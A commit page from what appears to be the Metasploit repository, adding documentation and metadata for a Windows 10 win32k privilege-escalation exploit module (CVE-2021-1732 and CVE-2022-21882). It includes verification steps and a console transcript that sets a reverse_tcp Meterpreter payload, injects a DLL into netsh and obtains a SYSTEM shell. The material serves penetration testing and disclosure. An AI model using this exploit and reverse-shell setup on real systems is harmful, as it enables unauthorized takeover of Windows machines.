Skip to content

Commit bcd7cb1

Browse files
zeroSteinerzeroSteiner
committed
Writeup the module metadata and docs
1 parent d92259f commit bcd7cb1

File tree

2 files changed

+124
-9
lines changed

2 files changed

+124
-9
lines changed

‎documentation/modules/exploit/windows/local/cve_2022_21882_win32k.md‎

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
## Vulnerable Application
2+
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
3+
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
4+
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
5+
achieve an out of bounds write operation, eventually leading to privilege escalation.
6+
7+
This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.
8+
In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is
9+
is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to
10+
function on a wider range of Windows 10 targets.
11+
12+
Windows 10 builds 17134 (v1803) through 19041 (v20H1) will use the original technique from CVE-2021-1732, leveraging
13+
`user32!CreateWindowEx` to trigger the `xxxClientAllocWindowClassExtraBytes` hook and corrupt the target window. Windows
14+
10 builds 19042 (v20H2) through 19044 (v21H2) will use the updated technique from CVE-2022-21882, leveraging
15+
`win32u!NtUserMessageCall` to trigger the `xxxClientAllocWindowClassExtraBytes` hook for the same effect.
16+
17+
### Installation And Setup
18+
Windows 10 versions 1803 through 21H2 (without the patch) are vulnerable out of the box. This exploit module has been
19+
tested on Windows 10 versions 1803, 1909, 20H1, 20H2 and 21H2.
20+
21+
## Verification Steps
22+
23+
1. Start msfconsole
24+
1. Get a Meterpreter session on a vulnerable host
25+
1. Do: `use exploit/windows/local/cve_2022_21882_win32k`
26+
1. Set the `SESSION` and `PAYLOAD` options
27+
1. Do: `run`
28+
1. You should get a shell.
29+
30+
## Scenarios
31+
32+
### Windows 10 Version 21H2 Build 19044.1288 x64
33+
34+
```
35+
msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1
36+
[*] Starting interaction with 1...
37+
38+
meterpreter > getuid
39+
Server username: DESKTOP-SRAQBLH\smcintyre
40+
meterpreter > sysinfo
41+
Computer : DESKTOP-SRAQBLH
42+
OS : Windows 10 (10.0 Build 19044).
43+
Architecture : x64
44+
System Language : en_US
45+
Domain : WORKGROUP
46+
Logged On Users : 2
47+
Meterpreter : x64/windows
48+
meterpreter > getsystem
49+
[-] stdapi_sys_config_getuid: Operation failed: 1346 The following was attempted:
50+
[-] Named Pipe Impersonation (In Memory/Admin)
51+
[-] Named Pipe Impersonation (Dropper/Admin)
52+
[-] Token Duplication (In Memory/Admin)
53+
[-] Named Pipe Impersonation (RPCSS variant)
54+
[-] Named Pipe Impersonation (PrintSpooler variant)
55+
meterpreter > background
56+
[*] Backgrounding session 1...
57+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1
58+
SESSION => -1
59+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
60+
PAYLOAD => windows/x64/meterpreter/reverse_tcp
61+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set LHOST 192.168.159.128
62+
LHOST => 192.168.159.128
63+
msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit
64+
65+
[*] Started reverse TCP handler on 192.168.159.128:4444
66+
[*] Running automatic check ("set AutoCheck false" to disable)
67+
[+] The target appears to be vulnerable.
68+
[*] Launching netsh to host the DLL...
69+
[+] Process 6840 launched.
70+
[*] Reflectively injecting the DLL into 6840...
71+
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
72+
[*] Sending stage (200262 bytes) to 192.168.159.87
73+
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.87:52622 ) at 2022-02-18 14:34:00 -0500
74+
75+
meterpreter > getuid
76+
Server username: NT AUTHORITY\SYSTEM
77+
meterpreter > sysinfo
78+
Computer : DESKTOP-SRAQBLH
79+
OS : Windows 10 (10.0 Build 19044).
80+
Architecture : x64
81+
System Language : en_US
82+
Domain : WORKGROUP
83+
Logged On Users : 2
84+
Meterpreter : x64/windows
85+
meterpreter >
86+
```

‎modules/exploits/windows/local/cve_2022_21882_win32k.rb‎

Lines changed: 38 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -12,18 +12,39 @@ class MetasploitModule < Msf::Exploit::Local
1212
include Msf::Post::Windows::ReflectiveDLLInjection
1313
prepend Msf::Exploit::Remote::AutoCheck
1414

15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploit/windows/local/cve_2021_1732_win32k'
17+
1518
def initialize(info = {})
1619
super(
1720
update_info(
1821
info,
1922
{
20-
'Name' => '',
23+
'Name' => 'Win32k ConsoleControl Offset Confusion',
2124
'Description' => %q{
25+
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
26+
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
27+
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
28+
achieve an out of bounds write operation, eventually leading to privilege escalation.
29+
30+
This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.
31+
In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is
32+
is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to
33+
function on a wider range of Windows 10 targets.
2234
},
2335
'License' => MSF_LICENSE,
2436
'Author' => [
37+
# CVE-2021-1732
38+
'BITTER APT', # exploit as used in the wild
39+
'JinQuan', # detailed analysis
40+
'MaDongZe', # detailed analysis
41+
'TuXiaoYi', # detailed analysis
42+
'LiHao', # detailed analysis
43+
# CVE-2022-21882
2544
'L4ys', # github poc
26-
'KaLendsi', # github poc
45+
# both CVEs
46+
'KaLendsi', # github pocs
47+
# Metasploit exploit
2748
'Spencer McIntyre' # metasploit module
2849
],
2950
'Arch' => [ ARCH_X64 ],
@@ -33,26 +54,34 @@ def initialize(info = {})
3354
'EXITFUNC' => 'thread'
3455
},
3556
'Targets' => [
36-
[ 'Windows 10 v20H2-21H2 x64', { 'Arch' => ARCH_X64 } ]
57+
[ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]
3758
],
3859
'Payload' => {
3960
'DisableNops' => true
4061
},
4162
'References' => [
63+
# CVE-2021-1732 references
64+
[ 'CVE', '2021-1732' ],
65+
[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],
66+
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],
67+
[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],
68+
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],
69+
# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit
70+
[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],
71+
[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],
72+
[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],
73+
[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],
74+
# CVE-2022-21882 references
4275
[ 'CVE', '2022-21882' ],
4376
[ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],
4477
[ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]
4578
],
46-
'DisclosureDate' => '',
79+
'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date
4780
'DefaultTarget' => 0,
4881
'Notes' => {
4982
'Stability' => [ CRASH_OS_RESTARTS, ],
5083
'Reliability' => [ REPEATABLE_SESSION, ],
51-
'SideEffects' => [],
52-
'RelatedModules' => [
53-
# this module exploits the original vulnerability for which this is a patch bypass
54-
'exploit/windows/local/cve_2021_1732_win32k'
55-
]
84+
'SideEffects' => []
5685
}
5786
}
5887
)

0 commit comments

Comments
 (0)